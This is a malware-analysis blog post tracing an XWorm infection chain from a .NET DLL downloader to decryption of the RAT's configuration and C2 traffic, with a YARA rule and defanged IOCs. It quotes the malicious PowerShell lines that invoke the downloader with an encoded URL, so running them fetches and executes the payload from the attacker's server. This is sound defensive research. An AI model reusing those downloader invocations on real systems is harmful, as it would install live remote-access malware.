Post

XWorm Part 2 - From Downloader to Config Extraction

Dissecting a .NET DLL Downloader and Extracting XWorm's Configuration.

XWorm Part 2 - From Downloader to Config Extraction

Overview

In Part 2 of this XWorm malware analysis series, we analyze a .NET DLL downloader responsible for delivering XWorm. This stage of the analysis focuses on using debugging techniques to extract the final payload, followed by performing decryption of XWorm’s configuration.

Technical Analysis

DLL Downloader

Dropping our extracted PE from Part 1 into Detect It Easy reveals a 32-bit .NET DLL.

figure 1 - Detect it Easy .NET DLL downloader output

Using dnSpy to decompile the DLL, we can navigate to the method invoked by the PowerShell script from Part 1, which is the VAI() method located inside of the Home class in the ClassLibrary1 namespace.

figure 2 - decompiled VAI() method from DLL downloader

The downloader accepts builder arguments from the previously observed PowerShell script to control how the final payload is delivered. Our sample passes an encrypted URL string, a path, filename, filetype and a few other values as seen in the below snippet.

1
2
3
$builder_args = @('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');

$loaded_assembly.GetType("ClassLibrary1.Home").GetMethod("VAI").Invoke($null, $builder_args);

To make static analysis easier, we can can run the sample through de4dot, a popular .NET deobfuscation tool.

1
.\de4dot.exe .\assembly.mal

After loading output file extracted_assembly-cleaned.mal into dnSpy, we can see symbols have been renamed to be human-readable, previously being Unicode escaped like \uE777.

figure 3 - cleaned output from de4dot showing deobfuscated symbols

Strings are resolved during runtime using method Class237.smethod_0(), which takes an integer ordinal and returns a decrypted string.

figure 4 - string resolver function using hashtable lookup

Constant unfolding methods are also used to resolve double and float values during runtime as seen in figure 5 and 6.

figure 5 - runtime double calculation method

figure 6 - runtime integer calculation method

We can replace all calls to these methods with their return value using a publicly available .NET string decryption tool written by n1ght-w0lf1. This will make static analysis easier, allowing us to view resolved strings and constants within dnSpy. After defining the target method signatures within the decryption script, we can run python3 dotnet_string_decryptor.py C:\path\to\assembly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class StringDecryptor:
    DECRYPTION_METHOD_SIGNATURES = [
        {   // string resolver signature
            "Parameters": ["System.Int32"],
            "ReturnType": "System.String"
        },
        {   // double resolver signature					
            "Parameters": ["System.Int32"],
            "ReturnType": "System.Double"
        },
        {   // int resolver signature
            "Parameters": ["System.Int32"],
            "ReturnType": "System.Int32"
        },
    ]

Loading the output assembly into dnSpy and translating some of the Portuguese parameter names, we can begin to make sense of the main function. The first 54 lines perform various anti-vm checks, which we will want to skip past once debugging.

figure 7 - anti-vm checks in deobfuscated main function

Of interest are the last few lines that are executed after builder arguments are parsed. This is where the final payload is downloaded and decrypted before passing to x32.Run or x64.Load for execution depending on the final payload’s architecture.

figure 8 - payload download and execution logic based on architecture

Extracting XWorm

Using a dynamic approach, we can debug this DLL using dnSpy to extract the downloaded payload, where we use PowerShell as our debugger host process. By loading the assembly into our PowerShell process, we can invoke methods from the downloader directly within the command line. This is a debugging trick I learned through a video by MalwareAnalysisForHedgehogs2 that I found in the OALabs malware reverse engineering Discord channel3.

Running the following will load the assembly into our PowerShell process.

1
[Reflection.Assembly]::LoadFile("C:\path\to\assembly");

We can then attach dnSpy’s debugger to our PowerShell process via DebugAttach to Process.

Exceptions were thrown when attempting to debug the deobfuscated DLL, though it was still helpful to reference during debugging of the original sample.

Then, we can set breakpoints on the first line of VAI() to avoid executing anti-analysis checks, as well as the start of the download logic.

figure 9 - breakpoint at start of VAI() before anti-vm logic

figure 10 - breakpoint set on payload download logic

Navigating back to the PowerShell window, the below can be run to invoke the downloader using arguments from the previous script.

1
[ClassLibrary1.Home]::VAI('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2Lt92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');

Once we hit our initial breakpoint, we can right-click the line where download logic begins and click “Set Next Statement” to skip past argument parsing and anti-vm checks.

After stepping through the code, we see a URL string is crafted using the first parameter passed to VAI().

figure 11 - reconstructed URL from first VAI() parameter

An HTTP GET request is then made to the crafted URL to download a hex encoded blob which is then reversed, revealing the magic bytes of a PE file 4D 5A.

figure 12 - hex payload showing MZ header

Opening the decoded PE file into Detect It Easy reveals a 32-bit .NET assembly.

figure 13 - Detect it Easy output for XWorm

Decompiling the assembly in dnSpy confirms we now have the final XWorm payload.

figure 14 - dnSpy shows XWorm identity

XWorm

Configuration Extraction

The entrypoint function [Stub.Main]::Main() performs a sleep operation before decrypting the configuration stored in the [Settings] class.

figure 15 - XWorm configuration structure in memory

Values are decrypted using AES in ECB mode with a 256 bit key, where the key is derived from the MD5 hash of the mutex config value.

figure 16 - AES decryption routine for configuration

The sample’s configuration values can be decrypted with the below Python script, revealing the configuration seen in figure 17.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Cipher import AES
import hashlib
import base64

# dictionary of encrypted config values
settings = {
	"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
	"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
	"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
	"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
	"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
	"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
	"Mutex" : "NOQFTA4Uaa0s9lW4"	
}

# generate key using mutex value
def get_key_from_mutex(mutex):
	mutex_md5 = hashlib.md5(mutex.encode())
	mutex_md5 = mutex_md5.hexdigest()
	key = bytearray(32)
	key[:16] = bytes.fromhex(mutex_md5)
	key[15:31] = bytes.fromhex(mutex_md5)
	key[31] = 0x00
	return key

# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
	decoded_setting = base64.b64decode(encrypted_setting)
	cipher = AES.new(key, AES.MODE_ECB)
	decrypted_setting = cipher.decrypt(decoded_setting)
	return decrypted_setting.decode('utf-8').strip()

def main():
	key = get_key_from_mutex(settings["Mutex"])

	print(f'Hosts: {decrypt_setting(key, settings["Hosts"])}')
	print(f'Port: {decrypt_setting(key, settings["Port"])}')
	print(f'KEY: {decrypt_setting(key, settings["KEY"])}')
	print(f'SPL: {decrypt_setting(key, settings["SPL"])}')
	print(f'Groub: {decrypt_setting(key, settings["Groub"])}')
	print(f'USBNM: {decrypt_setting(key, settings["USBNM"])}')
	print(f'Mutex: {settings["Mutex"]}')


if __name__=="__main__":
	main()

figure 17 - decrypted configuration

Packet Decryption

XWorm communicates with its C2 server through AES GCM encrypted messages over TCP. The protcol begins with an integer prefix defining the message length, followed by a null-byte where the encrypted message follows. A simple visualization of the packet structure is shown below.

1
2
3
4
5
6
7
8
9
10
Packet Structure (Length Prefix + Null Delimiter + AES Encrypted Payload)

[0]      [1]      [2]      [3]      [4]      [5]      [6] ...
+--------+--------+--------+--------+--------+--------+--------+
|   '3'  |   '2'  |  \x00  |   ?    |   ?    |   ?    |   ?    |
+--------+--------+--------+--------+--------+--------+--------+
| Length | Length | Delim  |        AES Encrypted Message      |
+--------+--------+--------+--------+--------+--------+--------+
                                           ...

Messages are encrypted using dedicated method [Stub.Helper]::AES_Encryptor() which uses AES in ECB mode with a 256-bit key. The key is the MD5 hash of the decrypted KEY config setting, converted from hex. An image of this method is shown below.

figure 18 - packet encryption method

The below Python script can be used to decrypt an XWorm packet as seen in figure 19.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib
import base64

# hex encoded c2 packet
encrypted_packet = '3238380049d8de8dda622fe99fb29522a6ed7e513ec0d73f2e48a1717353eae6666c920dc909f579ab6723d4e38dfc30ed4cf5f5c3ec69abf4662a5311139742c01e1f64e0ee0d7af70ba2746b9f2967a1bc481d9c089681b5422db143c7fd35b7caad98b6c14974bf1d97cb6ad1eb50125c18f728c03469493a902d1318038cc9849b04d70b5c47fe8c1ac5afdc1b83fb6b81d3fdde8cb05a2ce87a7b8406e9c71213738ada85326b3f51cea837fcb2458cbf9087b679e4142e1192ab778e799d42a02c844baaa4c342353a135bd80cd9edafdf202d034ad583d9aab6bf31de87a8a6de8e4c3f52660aa5e2accd6d0a79b1e46380c7622dd58741ed416e7739b307301ae3d934ee087b14b2f7fc94bb8f988af49d7a84714192edf5b0f65ead118c5536'

# dictionary of encrypted config values
settings = {
	"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
	"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
	"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
	"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
	"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
	"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
	"Mutex" : "NOQFTA4Uaa0s9lW4"	
}

# generate config AES key using `Mutex` from config
def get_config_key(mutex_setting):
	mutex_md5 = hashlib.md5(mutex_setting.encode())
	mutex_md5 = mutex_md5.hexdigest()
	key = bytearray(32)
	key[:16] = bytes.fromhex(mutex_md5)
	key[15:31] = bytes.fromhex(mutex_md5)
	key[31] = 0x00
	return key

# generate c2 AES key using `KEY` from config
def get_c2_key(key_setting):
	key = get_config_key(settings["Mutex"])
	config_key = decrypt_setting(key, settings["KEY"])
	c2_key = bytes.fromhex(hashlib.md5(config_key).hexdigest())
	return c2_key

# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
	decoded_setting = base64.b64decode(encrypted_setting)
	cipher = AES.new(key, AES.MODE_ECB)
	decrypted_setting = unpad(cipher.decrypt(decoded_setting), AES.block_size)
	return decrypted_setting

# decrypt hex encoded c2 traffic
def decrypt_packet(c2_key, encrypted_packet):
	packet_bytes = bytes.fromhex(encrypted_packet.split("00", 1)[1]) # remove packet length header
	cipher = AES.new(c2_key, AES.MODE_ECB)
	decrypted_packet = unpad(cipher.decrypt(packet_bytes), AES.block_size)
	return decrypted_packet.decode("utf-8")

def main():
	c2_key = get_c2_key(settings["KEY"])
	print(f"\nDecrypted Packet:\n\n{decrypt_packet(c2_key, encrypted_packet)}")

if __name__=="__main__":
	main()

figure 19 - decrypted C2 check-in packet

YARA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rule XWormRAT {
	meta:
		author = "Jared G."
		description = "Detects unpacked XWorm RAT"
		date = "2025-07-06"
		sha256 = "6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896"
		reference = "https://malwaretrace.net/posts/xworm-part-2"

    strings:
        $s1  = "-ExecutionPolicy Bypass -File" ascii wide
        $s2  = "sendPlugin" ascii wide
        $s3  = "savePlugin" ascii wide
        $s4  = "RemovePlugins" ascii wide
        $s5  = "Plugins Removed!" ascii wide
        $s6  = "Keylogger Not Enabled" ascii wide
        $s7  = "RunShell" ascii wide
        $s8  = "StartDDos" ascii wide
        $s9  = "StopDDos" ascii wide
        $s10 = "Win32_Processor.deviceid=\"CPU0\"" ascii wide
        $s11 = "SELECT * FROM Win32_VideoController" ascii wide
        $s12 = "Select * from AntivirusProduct" ascii wide
        $s13 = "set_ReceiveBufferSize" ascii wide
        $s14 = "set_SendBufferSize" ascii wide
        $s15 = "ClientSocket" ascii wide
        $s16 = "USBNM" ascii wide
        $s17 = "AES_Encryptor" ascii wide
        $s18 = "AES_Decryptor" ascii wide

    condition:
        12 of them
}

IOCs

All hashes from the below IOC table will be available for download on MalShare.

LabelIOC
XWorm Download URLhxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_e1502b7358874d6086b38a71038423c2[.]txt
XWorm C2deadpoolstart2064[.]duckdns[.]org:7021
DLL Downloader SHA-256 Hashc2bce00f20b3ac515f3ed3fd0352d203ba192779d6b84dbc215c3eec3a3ff19c
XWorm SHA-256 Hash6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896

References and Resources

  1. https://github.com/n1ght-w0lf/dotnet-string-decryptor/ ↩︎

  2. https://www.youtube.com/watch?v=wLf_Ln8jupY&t=1300s ↩︎

  3. https://discord.gg/oalabs ↩︎

This post is licensed under CC BY 4.0 by the author.